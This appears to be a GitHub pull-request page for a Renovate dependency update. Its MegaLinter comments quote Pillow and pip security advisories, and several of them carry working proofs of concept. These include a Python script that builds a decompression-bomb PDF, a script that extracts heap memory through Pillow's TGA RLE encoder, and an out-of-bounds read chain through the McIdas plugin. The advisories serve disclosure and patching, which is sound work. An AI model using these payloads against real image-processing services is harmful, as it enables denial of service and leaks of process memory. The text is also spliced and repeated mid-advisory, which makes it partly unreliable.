PdfParser is instantiated with a filename or file object and calls read_pdf_info() on open, which parses the xref table and makes stream objects accessible. PdfStream.decode() is reachable whenever calling code accesses a compressed stream object from the parsed PDF.
Confirmed reachable path:
with PdfParser.PdfParser("evil.pdf") as pdf:
stream_obj, _ = pdf.get_value(pdf.buf, stream_offset)
data = stream_obj.decode() # ← OOM herePoC
import zlib, tempfile, os, time
from PIL import PdfParser
# Build a minimal PDF with a 100 MB FlateDecode bomb (demo scale)
EXPAND_MB = 100
raw = b'\x00' * (EXPAND_MB * 1_000_000)
compressed = zlib.compress(raw, level=9) # ~97 KB
buf = b'%PDF-1.4\n'
o1 = len(buf); buf += b'1 0 obj\n<< /Type /Pages /Kids [] /Count 0 >>\nendobj\n'
o2 = len(buf); buf += b'2 0 obj\n<< /Type /Catalog /Pages 1 0 R >>\nendobj\n'
o3 = len(buf)
hdr = f'<< /Filter /FlateDecode /Length {len(compressed)} >>'.encode()
buf += b'3 0 obj\n' + hdr + b'\nstream\n' + compressed + b'\nendstream\nendobj\n'
xref = len(buf)
buf += b'xref\n0 4\n0000000000 65535 f \n'
for off in [o1, o2, o3]:
buf += f'{off:010d} 00000 n \n'.encode()
buf += b'trailer\n<< /Size 4 /Root 2 0 R >>\nstartxref\n' + str(xref).encode() + b'\n%%EOF\n'
print(f"PDF size: {len(buf):,} bytes ({len(buf)/1024:.1f} KB)")
with tempfile.NamedTemporaryFile(delete=False, suffix='.pdf') as f:
f.write(buf); tmpname = f.name
with PdfParser.PdfParser(tmpname) as pdf:
obj, _ = pdf.get_value(pdf.buf, o3)
t = time.time()
decoded = obj.decode()
print(f"Decoded: {len(decoded):,} bytes in {time.time()-t:.3f}s")
os.unlink(tmpname)Actual output (Pillow 12.1.1, Python 3.12):
PDF size: 97,538 bytes (95.3 KB)
Decoded: 100,000,000 bytes in 0.265s
Measured expansion:
| PDF file size | Memory allocated | Ratio | Wall time |
|---|---|---|---|
| 10 KB | 10 MB | 1,026× | 0.024 s |
| 95 KB | 100 MB | 1,028× | 0.265 s |
| 475 KB | 500 MB | 1,028× | 1.279 s |
| 950 KB | 1,000 MB (1 GB) | 1,028× | 2.668 s |
Impact
This is a denial-of-service vulnerability. Any application that uses PIL.PdfParser.PdfParser to read untrusted PDF files is affected. An unauthenticated attacker who can submit a PDF for processing can exhaust all available server memory with a ~950 KB file, causing OOM termination or service degradation affecting all concurrent users. No authentication or user interaction beyond submitting the file is required.
Note: This vulnerability is independent of CVE-2025-64512 / CVE-2025-70559 (pdfminer.six) and the companion PIL/PdfImagePlugin.py decompression issue. It exists specifically in Pillow's own PdfParser.py module, which is distinct from pdfminer.six.
Suggested fix:
MAX_DECOMPRESS_BYTES = 200 * 1024 * 1024 # 200 MB cap
def decode(self) -> bytes:
...
if filter == b"FlateDecode":
...
result = zlib.decompress(self.buf, bufsize=int(expected_length))
if len(result) > MAX_DECOMPRESS_BYTES:
msg = "Decompressed stream exceeds maximum allowed size"
raise ValueError(msg)
return resultwarning: Package 'pillow@9.5.0' is vulnerable to 'CVE-2026-59204' (also known as 'BIT-pillow-2026-59204', 'PYSEC-2026-3496', 'GHSA-vjc4-5qp5-m44j').
= CVE-2026-59204: Pillow JPEG2000 tiled decode retains a growing scratch buffer and can be used for denial of service
= ### Summary
src/libImaging/Jpeg2KDecode.c:853 accumulates total_component_width across every tile in a JPEG2000 image instead of recomputing it per tile. That accumulated value is then used in the tile_bytes calculation at src/libImaging/Jpeg2KDecode.c:868, which can make the decoder grow state->buffer via realloc at src/libImaging/Jpeg2KDecode.c:876 up to roughly one full image's decompressed size even when each tile is small. A crafted tiled JPEG2000 file can therefore force substantially higher transient memory usage and trigger out-of-memory failures during decoding. Based on current evidence, the supported impact is denial of service, not memory corruption.
Details
- Location:
src/libImaging/Jpeg2KDecode.c:853 - Root cause:
total_component_widthis initialized only once before the tile loop and keeps growing across tiles. It is then used to derivetile_bytes, so later tiles are treated as if they had the combined component width of all earlier tiles. - Dangerous operation:
tile_bytesis promoted intotile_info.data_size, thenstate->bufferis grown withreallocatsrc/libImaging/Jpeg2KDecode.c:876. - Reachability: any attacker-controlled JPEG2000 image with many tiles reaches this path during normal
Image.open(...).load()decoding.
PoC
The attached helper script and testcase were used:
exercise_j2k_tile_realloc.zip
Generate the testcase:
pythonexercise_j2k_tile_realloc.py make poc_3664_rgba_tile1832.jp2 \
--size 3664 --tile 1832Expected geometry from the helper:
- image size:
3664 x 3664 - mode:
RGBA - tile size:
1832 x 1832(2x2tiles) image_bytes=53699584- uncapped RSS observed:
- vulnerable build:
maxrss_kb=180264 - fixed comparison build:
maxrss_kb=138404
- vulnerable build:
Load it with the current vulnerable build:
python exercise_j2k_tile_realloc.py load poc_3664_rgba_tile1832.jp2Load it again under a 160 MB address-space cap:
python exercise_j2k_tile_realloc.py load poc_3664_rgba_tile1832.jp2 --limit-mb 160Impact
Conservative impact: denial of service through memory exhaustion during JPEG2000 decoding.
warning: Package 'pip@9.0.3' is vulnerable to 'CVE-2026-13346' (also known as 'PYSEC-2026-3721', 'GHSA-qwm4-qh6w-59xr').
= CVE-2026-13346: pip would incorrectly handle doubly-encoded package URLs from indexes
= pip would incorrectly handle doubly-encoded package URLs from indexes allowing for files to be installed to arbitrary locations on disk even when installing wheels.
This vulnerability requires downloading or installing a package from a malicious package index to succeed, malicious packages alone are not able to exploit this vulnerability. Note that this vulnerability only materially impacts users running pip download with the --only-binary option as installing source distributions from an untrusted index is already an unsafe operation that executes code during install time.
warning: Package 'pillow@9.5.0' is vulnerable to 'CVE-2023-50447' (also known as 'BIT-pillow-2023-50447', 'PYSEC-2026-457', 'GHSA-3f63-hfp8-52jq').
= CVE-2023-50447: Arbitrary Code Execution in Pillow
= Pillow through 10.1.0 allows PIL.ImageMath.eval Arbitrary Code Execution via the environment parameter, a different vulnerability than CVE-2022-22817 (which was about the expression parameter).
warning: 67 warnings emitted
(Truncated to last 40000 characters out of 202634)
</details>
### Notices
⚠️ Your configuration references items that have been removed from MegaLinter and are ignored: `REPOSITORY_KICS`, `TERRAFORM_TERRASCAN`. See [Removed linters](https://megalinter.io/10.1.0/removed-linters/) to find their replacements.
See detailed reports in [MegaLinter artifacts](https://github.com/yxtay/databricks-container/actions/runs/37100964042)
Your project could benefit from a custom flavor, which would allow you to run only the linters you need, and thus improve runtime performances. (Skip this info by defining `FLAVOR_SUGGESTIONS: false`)
- Documentation: [Custom Flavors](https://megalinter.io/10.1.0/custom-flavors/)
- Command: `npx mega-linter-runner@10.1.0 --custom-flavor-setup --custom-flavor-linters DOCKERFILE_HADOLINT,REPOSITORY_DEVSKIM,REPOSITORY_DUSTILOCK,REPOSITORY_BETTERLEAKS,REPOSITORY_OSV_SCANNER,REPOSITORY_SECRETLINT,REPOSITORY_SEMGREP,REPOSITORY_SYFT,REPOSITORY_TRIVY,REPOSITORY_TRIVY_SBOM,REPOSITORY_TRUFFLEHOG`
[](https://www.ox.security/?ref=megalinter)
Show us your support by [**starring ⭐ the repository**](https://github.com/oxsecurity/megalinter)
<!-- megalinter: github-comment-reporter workflow='megalinter' jobid='security' -->
✅
|
| Descriptor | Linter | Files | Fixed | Errors | Max errors | Warnings | Elapsed time |
|---|---|---|---|---|---|---|---|
| ✅ ACTION | actionlint | 5 | 0 | 0 | 0.03s | ||
| zizmor | 5 | 0 | 0 | 1 | 1.35s | ||
| ✅ COPYPASTE | jscpd | yes | no | no | 0.76s | ||
| ✅ DOCKERFILE | hadolint | 1 | 0 | 0 | 0.29s | ||
| ✅ EDITORCONFIG | editorconfig-checker | 23 | 0 | 0 | 0.05s | ||
| ✅ JSON | prettier | 1 | 0 | 0 | 0 | 0.31s | |
| ✅ JSON | v8r | 1 | 0 | 0 | 1.45s | ||
| ✅ MARKDOWN | markdownlint | 2 | 0 | 0 | 0 | 0.53s | |
| ✅ MARKDOWN | markdown-table-formatter | 2 | 0 | 0 | 0 | 0.17s | |
| ✅ REPOSITORY | betterleaks | yes | no | no | 0.52s | ||
| ✅ REPOSITORY | git_diff | yes | no | no | 0.0s | ||
| osv-scanner | yes | 1 | 67 | 16.28s | |||
| ✅ REPOSITORY | secretlint | yes | no | no | 0.84s | ||
| ✅ REPOSITORY | semgrep | yes | no | no | 14.52s | ||
| ✅ REPOSITORY | syft | yes | no | no | 1.83s | ||
| ✅ REPOSITORY | trivy | yes | no | no | 10.12s | ||
| ✅ REPOSITORY | trivy-sbom | yes | no | no | 0.09s | ||
| ✅ REPOSITORY | trufflehog | yes | no | no | 2.71s | ||
| ✅ SPELL | lychee | 15 | 0 | 0 | 1.61s | ||
| ✅ YAML | prettier | 11 | 0 | 0 | 0 | 0.7s | |
| ✅ YAML | v8r | 11 | 0 | 0 | 5.4s | ||
| ✅ YAML | yamllint | 11 | 0 | 0 | 0.41s |
Detailed Issues
⚠️ REPOSITORY / osv-scanner - 1 error
be negative")
with open(self.filename) as fp:
self.map = mmap.mmap(fp.fileno(), 0, access=mmap.ACCESS_READ)
if offset + self.size[1] * args[1] > self.map.size(): # == offset + ysize*stride; NO stride>=linesize check
raise OSError("buffer is not large enough")
self.im = Image.core.map_buffer(
self.map, self.size, decoder_name, offset, args # args = ("L", stride, 1)
)
Step 3: PyImaging_MapBuffer - builds row pointers at stride spacing into the mmap; validates everything except stride >= row width.
/* src/map.c:65-140 */
if (!PyArg_ParseTuple(args, "O(ii)sn(sii)",
&target, &xsize, &ysize, &codec, &offset, &mode_name, &stride, &ystep))
return NULL;
...
const ModeID mode = findModeID(mode_name); /* "L" */
if (stride <= 0) { /* attacker sets stride=1 (>0) -> NOT recomputed */
if (mode == IMAGING_MODE_L || mode == IMAGING_MODE_P) stride = xsize;
else if (isModeI16(mode)) stride = xsize * 2;
else stride = xsize * 4;
}
if (stride > 0 && ysize > PY_SSIZE_T_MAX / stride) {/* overflow guard only */
PyErr_SetString(PyExc_MemoryError, "Integer overflow in ysize"); return NULL;
}
size = (Py_ssize_t)ysize * stride; /* = 1*1 = 1 */
if (offset > PY_SSIZE_T_MAX - size) { ... }
...
if (offset + size > view.len) { /* 1 + 1 = 2 <= 256 -> PASSES */
PyErr_SetString(PyExc_ValueError, "buffer is not large enough");
PyBuffer_Release(&view); return NULL;
}
im = ImagingNewPrologueSubtype(mode, xsize, ysize, sizeof(ImagingBufferInstance));
/* im->linesize = xsize * pixelsize = 200000 (the REAL per-row read width) */
/* setup file pointers -- NO check that stride >= im->linesize */
if (ystep > 0) {
for (y = 0; y < ysize; y++) {
im->image[y] = (char *)view.buf + offset + y * stride; /* row points into mmap, spacing=1 */
}
} else { ... }im->linesize (the number of bytes any consumer reads per row) is xsize * pixelsize = 200000, but the row pointers are only stride = 1 byte apart and the buffer is only offset + ysize*stride = 2 bytes "claimed". Nothing reconciles the two.
Step 4: pixel access (Image.tobytes() → raw encoder copy1) - reads linesize bytes from im->image[0], i.e. xsize bytes starting at view.buf + offset, running far past the mmap.
/* the raw "L" packer copies linesize (=xsize) bytes per row from im->image[y];
for row 0 that is view.buf+1 .. view.buf+1+200000, vs a 256-byte file. */Chain Summary
SOURCE: McIdas AREA header words w[9],w[10],w[11],w[14],w[15],w[34] (Image.open on a path)
↓ McIdasImagePlugin._open: stride = w[15]+w[10]*w[11]*w[14] -> attacker sets stride=1 [McIdasImagePlugin.py:66]
↓ tile = ("raw", (0,0,xsize,1), offset, ("L", 1, 1)) [McIdasImagePlugin.py:68]
GADGET: ImageFile.load mmap branch -- only checks offset+ysize*stride<=len <- BUG: no stride>=linesize check [ImageFile.py:343]
↓ core.map_buffer(map, (xsize,1), "raw", offset, ("L",1,1)) [ImageFile.py:346]
SINK: PyImaging_MapBuffer: im->image[0] = view.buf + offset + 0*stride; linesize=xsize [map.c:134]
↓ Image.tobytes() raw "L" encoder reads linesize (=xsize) bytes from im->image[0]
IMPACT: reads xsize bytes from a tiny mmap -> OOB read of adjacent process memory (leak) or SIGBUS (DoS)
Proof of Concept
See attached poc.zip
Impact on a Parent Application
Any application that opens image files supplied by users from a path on disk (the common pattern: save upload to a temp file, then Image.open(path)), has the default plugin set (McIdas is registered by default), and subsequently reads/returns/re-encodes the decoded pixels (thumbnailing, format conversion, serving a preview), is exposed:
- Information disclosure (High): the decoded "image" contains bytes of the worker process's adjacent heap/mapped memory, which the app then serves or stores - potentially leaking secrets, credentials, or other users' data.
- Denial of service (High): a larger
xsizereliably crashes the worker with SIGBUS.
Suggested fix
Core fix in src/map.c (PyImaging_MapBuffer): reject offset < 0 and stride < im->linesize. Defense-in-depth in McIdasImagePlugin._open: reject offset < 0 or stride < xsize*pixelsize .
warning: Package 'pillow@9.5.0' is vulnerable to 'CVE-2026-59198' (also known as 'BIT-pillow-2026-59198', 'PYSEC-2026-3494', 'GHSA-fj7v-r99m-22gq').
= CVE-2026-59198: Pillow TGA RLE encoder can serialize up to ~57 KB of adjacent heap data into generated images
= ### Summary
Pillow's TGA RLE encoder reads past its row buffer when saving a mode "1"
image. Adjacent process heap bytes can be copied into the generated TGA file.
The bug is reachable through the public save API:
im.save(out, format="TGA", compression="tga_rle")Older affected Pillow versions use the equivalent public option rle=True.
For mode "1", Pillow allocates a packed row buffer of ceil(width / 8)
bytes, but ImagingTgaRleEncode() treats the row as one full byte per pixel.
The maximum valid TGA width is 65535. At that width:
allocated packed row buffer: 8192 bytes
encoder byte-offset walk: 65535 bytes
maximum OOB window per row: 57343 bytes
On non-ASAN Pillow 12.2.0, the public-only maximum-width PoC below serialized
57297 bytes from distinct out-of-bounds source offsets into one returned TGA,
covering 99.92% of the maximum adjacent heap window. No heap grooming, ctypes,
private API, or malformed input file was used. The disclosure is emitted across
many TGA packet payload copies of at most 128 bytes each, not one large
memcpy().
Details
src/PIL/TgaImagePlugin.py allows mode "1" TGA output and selects the
tga_rle encoder when RLE compression is requested.
src/encode.c:_setimage() allocates the row buffer using the packed-bit
formula:
state->bytes = (state->bits * state->xsize + 7) / 8;
state->buffer = (UINT8 *)calloc(1, state->bytes);For mode "1", state->bits == 1.
src/libImaging/TgaRleEncode.c then computes:
bytesPerPixel = (state->bits + 7) / 8;This becomes 1, and the encoder uses pixel indexes as byte offsets:
static int
comparePixels(const UINT8 *buf, int x, int bytesPerPixel) {
buf += x * bytesPerPixel;
return memcmp(buf, buf + bytesPerPixel, bytesPerPixel) == 0;
}The packet payload memcpy() later copies those out-of-bounds source bytes into
the output. Raw packets copy up to 128 contiguous bytes, while RLE packets copy
one representative byte:
memcpy(
dst, state->buffer + (state->x * bytesPerPixel - state->count), flushCount
);A width-2 mode "1" image allocates one row byte and already triggers an ASAN
heap-buffer-overflow read. Wider images increase the adjacent heap window and
the amount of heap data that can be serialized.
PoC
Minimal ASAN trigger
import io
from PIL import Image
out = io.BytesIO()
Image.new("1", (2, 1)).save(out, format="TGA", compression="tga_rle")Observed on local Pillow 12.3.0.dev0 ASAN target:
ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 1
comparePixels /out/src/src/libImaging/TgaRleEncode.c:10
ImagingTgaRleEncode /out/src/src/libImaging/TgaRleEncode.c:81
0 bytes after a 1-byte allocation from _setimage
Maximum-width heap disclosure
This PoC uses one maximum-width row. It parses the generated TGA packets and
extracts only payload bytes whose source offsets were outside the allocated
packed row. Rows are avoided because they mostly repeat the same adjacent heap window.
Run the following with a standard affected Pillow installation.
import hashlib
import io
import PIL
from PIL import Image
WIDTH = 65535
ATTEMPTS = 20
ROW_BYTES = (WIDTH + 7) // 8
MAX_OOB_WINDOW = WIDTH - ROW_BYTES
def extract_oob_payload(data):
i = 18
pixel = 0
oob = bytearray()
while pixel < WIDTH:
descriptor = data[i]
i += 1
count = (descriptor & 0x7F) + 1
if descriptor & 0x80:
value = data[i]
i += 1
if pixel + count - 1 >= ROW_BYTES:
oob.append(value)
else:
values = data[i : i + count]
i += count
oob.extend(values[max(ROW_BYTES - pixel, 0) :])
pixel += count
return bytes(oob)
best = b""
for _ in range(ATTEMPTS):
out = io.BytesIO()
Image.new("1", (WIDTH, 1), 0).save(out, format="TGA", compression="tga_rle")
oob = extract_oob_payload(out.getvalue())
if len(oob) > len(best):
best = oob
with open("/tmp/max_oob_bytes.bin", "wb") as fp:
fp.write(best)
print(f"Pillow={PIL.__version__}")
print(f"packed_row_bytes={ROW_BYTES}")
print(f"maximum_oob_window={MAX_OOB_WINDOW}")
print(f"serialized_distinct_oob_offsets={len(best)}")
print(f"nonzero_oob_bytes={sum(byte != 0 for byte in best)}")
print(f"coverage={len(best) / MAX_OOB_WINDOW:.2%}")
print(f"sha256={hashlib.sha256(best).hexdigest()}")Observed on installed Pillow 12.2.0:
Pillow=12.2.0
packed_row_bytes=8192
maximum_oob_window=57343
serialized_distinct_oob_offsets=57297
nonzero_oob_bytes=54407
coverage=99.92%
Impact
This is a heap out-of-bounds read and potential information disclosure.
A maximum-width single-row image can cause nearly the full
57343-byte adjacent heap window to be incorporated into one output file.
warning: Package 'pillow@9.5.0' is vulnerable to 'CVE-2026-59200' (also known as 'BIT-pillow-2026-59200', 'PYSEC-2026-3495', 'GHSA-jjj6-mw9f-p565').
= CVE-2026-59200: Pillow: Decompression Bomb DoS via PdfParser.PdfStream.decode()
= ### Summary
PdfParser.PdfStream.decode() in Pillow's PdfParser.py calls zlib.decompress() with the bufsize parameter set to the value of the PDF stream's Length field, without any upper bound on the actual decompressed output size. Python's zlib.decompress() bufsize argument is an initial output buffer hint, not a maximum size limit — the function will expand memory until the full decompressed result is produced. A crafted PDF containing a FlateDecode-compressed stream decompresses to 1 GB of memory from a ~950 KB file, causing server OOM termination or severe degradation in any application that uses PdfParser to read untrusted PDF files.
Details
PdfStream.decode() in pdfminer/PdfParser.py reads the stream's declared Length (or DL) field from the PDF dictionary and passes it as bufsize to zlib.decompress():
# PIL/PdfParser.py — PdfStream.decode()
class PdfStream:
def decode(self) -> bytes:
try:
filter = self.dictionary[b"Filter"]
except KeyError:
return self.buf
if filter == b"FlateDecode":
try:
expected_length = self.dictionary[b"DL"]
except KeyError:
expected_length = self.dictionary[b"Length"]
return zlib.decompress(self.buf, bufsize=int(expected_length))
# ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
# bufsize is an *initial buffer hint*, NOT a maximum size limit.
# zlib.decompress() allocates as much memory as needed regardless.From the Python documentation: "The bufsize parameter is used as the initial size of the output buffer." It does not cap decompression. An attacker who controls the PDF stream contents can provide a highly-compressed payload that expands to gigabytes, while setting Length to any value (including the actual compressed size) to avoid triggering format validation.
PdfParser is instantiated with a filename or file object and calls read_pdf_info() on open, which parses the xref table and makes stream objects accessible. PdfStream.decode() is reachable whenever calling code accesses a compressed stream object from the parsed PDF.
Confirmed reachable path:
with PdfParser.PdfParser("evil.pdf") as pdf:
stream_obj, _ = pdf.get_value(pdf.buf, stream_offset)
data = stream_obj.decode() # ← OOM herePoC
import zlib, tempfile, os, time
from PIL import PdfParser
# Build a minimal PDF with a 100 MB FlateDecode bomb (demo scale)
EXPAND_MB = 100
raw = b'\x00' * (EXPAND_MB * 1_000_000)
compressed = zlib.compress(raw, level=9) # ~97 KB
buf = b'%PDF-1.4\n'
o1 = len(buf); buf += b'1 0 obj\n<< /Type /Pages /Kids [] /Count 0 >>\nendobj\n'
o2 = len(buf); buf += b'2 0 obj\n<< /Type /Catalog /Pages 1 0 R >>\nendobj\n'
o3 = len(buf)
hdr = f'<< /Filter /FlateDecode /Length {len(compressed)} >>'.encode()
buf += b'3 0 obj\n' + hdr + b'\nstream\n' + compressed + b'\nendstream\nendobj\n'
xref = len(buf)
buf += b'xref\n0 4\n0000000000 65535 f \n'
for off in [o1, o2, o3]:
buf += f'{off:010d} 00000 n \n'.encode()
buf += b'trailer\n<< /Size 4 /Root 2 0 R >>\nstartxref\n' + str(xref).encode() + b'\n%%EOF\n'
print(f"PDF size: {len(buf):,} bytes ({len(buf)/1024:.1f} KB)")
with tempfile.NamedTemporaryFile(delete=False, suffix='.pdf') as f:
f.write(buf); tmpname = f.name
with PdfParser.PdfParser(tmpname) as pdf:
obj, _ = pdf.get_value(pdf.buf, o3)
t = time.time()
decoded = obj.decode()
print(f"Decoded: {len(decoded):,} bytes in {time.time()-t:.3f}s")
os.unlink(tmpname)Actual output (Pillow 12.1.1, Python 3.12):
PDF size: 97,538 bytes (95.3 KB)
Decoded: 100,000,000 bytes in 0.265s
Measured expansion:
| PDF file size | Memory allocated | Ratio | Wall time |
|---|---|---|---|
| 10 KB | 10 MB | 1,026× | 0.024 s |
| 95 KB | 100 MB | 1,028× | 0.265 s |
| 475 KB | 500 MB | 1,028× | 1.279 s |
| 950 KB | 1,000 MB (1 GB) | 1,028× | 2.668 s |
Impact
This is a denial-of-service vulnerability. Any application that uses PIL.PdfParser.PdfParser to read untrusted PDF files is affected. An unauthenticated attacker who can submit a PDF for processing can exhaust all available server memory with a ~950 KB file, causing OOM termination or service degradation affecting all concurrent users. No authentication or user interaction beyond submitting the file is required.
Note: This vulnerability is independent of CVE-2025-64512 / CVE-2025-70559 (pdfminer.six) and the companion PIL/PdfImagePlugin.py decompression issue. It exists specifically in Pillow's own PdfParser.py module, which is distinct from pdfminer.six.
Suggested fix:
MAX_DECOMPRESS_BYTES = 200 * 1024 * 1024 # 200 MB cap
def decode(self) -> bytes:
...
if filter == b"FlateDecode":
...
result = zlib.decompress(self.buf, bufsize=int(expected_length))
if len(result) > MAX_DECOMPRESS_BYTES:
msg = "Decompressed stream exceeds maximum allowed size"
raise ValueError(msg)
return resultwarning: Package 'pillow@9.5.0' is vulnerable to 'CVE-2026-59204' (also known as 'BIT-pillow-2026-59204', 'PYSEC-2026-3496', 'GHSA-vjc4-5qp5-m44j').
= CVE-2026-59204: Pillow JPEG2000 tiled decode retains a growing scratch buffer and can be used for denial of service
= ### Summary
src/libImaging/Jpeg2KDecode.c:853 accumulates total_component_width across every tile in a JPEG2000 image instead of recomputing it per tile. That accumulated value is then used in the tile_bytes calculation at src/libImaging/Jpeg2KDecode.c:868, which can make the decoder grow state->buffer via realloc at src/libImaging/Jpeg2KDecode.c:876 up to roughly one full image's decompressed size even when each tile is small. A crafted tiled JPEG2000 file can therefore force substantially higher transient memory usage and trigger out-of-memory failures during decoding. Based on current evidence, the supported impact is denial of service, not memory corruption.
Details
- Location:
src/libImaging/Jpeg2KDecode.c:853 - Root cause:
total_component_widthis initialized only once before the tile loop and keeps growing across tiles. It is then used to derivetile_bytes, so later tiles are treated as if they had the combined component width of all earlier tiles. - Dangerous operation:
tile_bytesis promoted intotile_info.data_size, thenstate->bufferis grown withreallocatsrc/libImaging/Jpeg2KDecode.c:876. - Reachability: any attacker-controlled JPEG2000 image with many tiles reaches this path during normal
Image.open(...).load()decoding.
PoC
The attached helper script and testcase were used:
exercise_j2k_tile_realloc.zip
Generate the testcase:
pythonexercise_j2k_tile_realloc.py make poc_3664_rgba_tile1832.jp2 \
--size 3664 --tile 1832Expected geometry from the helper:
- image size:
3664 x 3664 - mode:
RGBA - tile size:
1832 x 1832(2x2tiles) image_bytes=53699584- uncapped RSS observed:
- vulnerable build:
maxrss_kb=180264 - fixed comparison build:
maxrss_kb=138404
- vulnerable build:
Load it with the current vulnerable build:
python exercise_j2k_tile_realloc.py load poc_3664_rgba_tile1832.jp2Load it again under a 160 MB address-space cap:
python exercise_j2k_tile_realloc.py load poc_3664_rgba_tile1832.jp2 --limit-mb 160Impact
Conservative impact: denial of service through memory exhaustion during JPEG2000 decoding.
warning: Package 'pip@9.0.3' is vulnerable to 'CVE-2026-13346' (also known as 'PYSEC-2026-3721', 'GHSA-qwm4-qh6w-59xr').
= CVE-2026-13346: pip would incorrectly handle doubly-encoded package URLs from indexes
= pip would incorrectly handle doubly-encoded package URLs from indexes allowing for files to be installed to arbitrary locations on disk even when installing wheels.
This vulnerability requires downloading or installing a package from a malicious package index to succeed, malicious packages alone are not able to exploit this vulnerability. Note that this vulnerability only materially impacts users running pip download with the --only-binary option as installing source distributions from an untrusted index is already an unsafe operation that executes code during install time.
warning: Package 'pillow@9.5.0' is vulnerable to 'CVE-2023-50447' (also known as 'BIT-pillow-2023-50447', 'PYSEC-2026-457', 'GHSA-3f63-hfp8-52jq').
= CVE-2023-50447: Arbitrary Code Execution in Pillow
= Pillow through 10.1.0 allows PIL.ImageMath.eval Arbitrary Code Execution via the environment parameter, a different vulnerability than CVE-2022-22817 (which was about the expression parameter).
warning: 67 warnings emitted
(Truncated to last 20000 characters out of 202634)
</details>
<details>
<summary>⚠️ ACTION / zizmor - 1 warning</summary>
INFO zizmor: 🌈 zizmor v1.25.0
INFO audit: zizmor: 🌈 completed .github/workflows/automerge.yml
INFO audit: zizmor: 🌈 completed .github/workflows/ci.yml
INFO audit: zizmor: 🌈 completed .github/workflows/megalinter.yml
INFO audit: zizmor: 🌈 completed .github/workflows/ossf.yml
INFO audit: zizmor: 🌈 completed .github/workflows/pr.yml
{
"$schema": "https://docs.oasis-open.org/sarif/sarif/v2.1.0/os/schemas/sarif-schema-2.1.0.json",
"runs": [
{
"invocations": [
{
"executionSuccessful": true
}
],
"results": [],
"tool": {
"driver": {
"downloadUri": "https://github.com/zizmorcore/zizmor",
"informationUri": "https://docs.zizmor.sh",
"name": "zizmor",
"rules": [],
"semanticVersion": "1.25.0",
"version": "1.25.0"
}
}
}
],
"version": "2.1.0"
No fixes available to apply.
}
</details>
### Notices
⚠️ Your configuration references items that have been removed from MegaLinter and are ignored: `REPOSITORY_KICS`, `TERRAFORM_TERRASCAN`. See [Removed linters](https://megalinter.io/10.1.0/removed-linters/) to find their replacements.
See detailed reports in [MegaLinter artifacts](https://github.com/yxtay/databricks-container/actions/runs/37100964042)
Your project could benefit from a custom flavor, which would allow you to run only the linters you need, and thus improve runtime performances. (Skip this info by defining `FLAVOR_SUGGESTIONS: false`)
- Documentation: [Custom Flavors](https://megalinter.io/10.1.0/custom-flavors/)
- Command: `npx mega-linter-runner@10.1.0 --custom-flavor-setup --custom-flavor-linters ACTION_ACTIONLINT,ACTION_ZIZMOR,COPYPASTE_JSCPD,DOCKERFILE_HADOLINT,EDITORCONFIG_EDITORCONFIG_CHECKER,JSON_V8R,JSON_PRETTIER,MARKDOWN_MARKDOWNLINT,MARKDOWN_MARKDOWN_TABLE_FORMATTER,REPOSITORY_GIT_DIFF,REPOSITORY_BETTERLEAKS,REPOSITORY_OSV_SCANNER,REPOSITORY_SECRETLINT,REPOSITORY_SEMGREP,REPOSITORY_SYFT,REPOSITORY_TRIVY,REPOSITORY_TRIVY_SBOM,REPOSITORY_TRUFFLEHOG,SPELL_LYCHEE,YAML_PRETTIER,YAML_YAMLLINT,YAML_V8R`
[](https://www.ox.security/?ref=megalinter)
Show us your support by [**starring ⭐ the repository**](https://github.com/oxsecurity/megalinter)
<!-- megalinter: github-comment-reporter workflow='megalinter' jobid='documentation' -->

This PR contains the following updates:
c580a2b→4cf361cConfiguration
📅 Schedule: (UTC)
🚦 Automerge: Enabled.
♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about this update again.
This PR was generated by Mend Renovate. View the repository job log.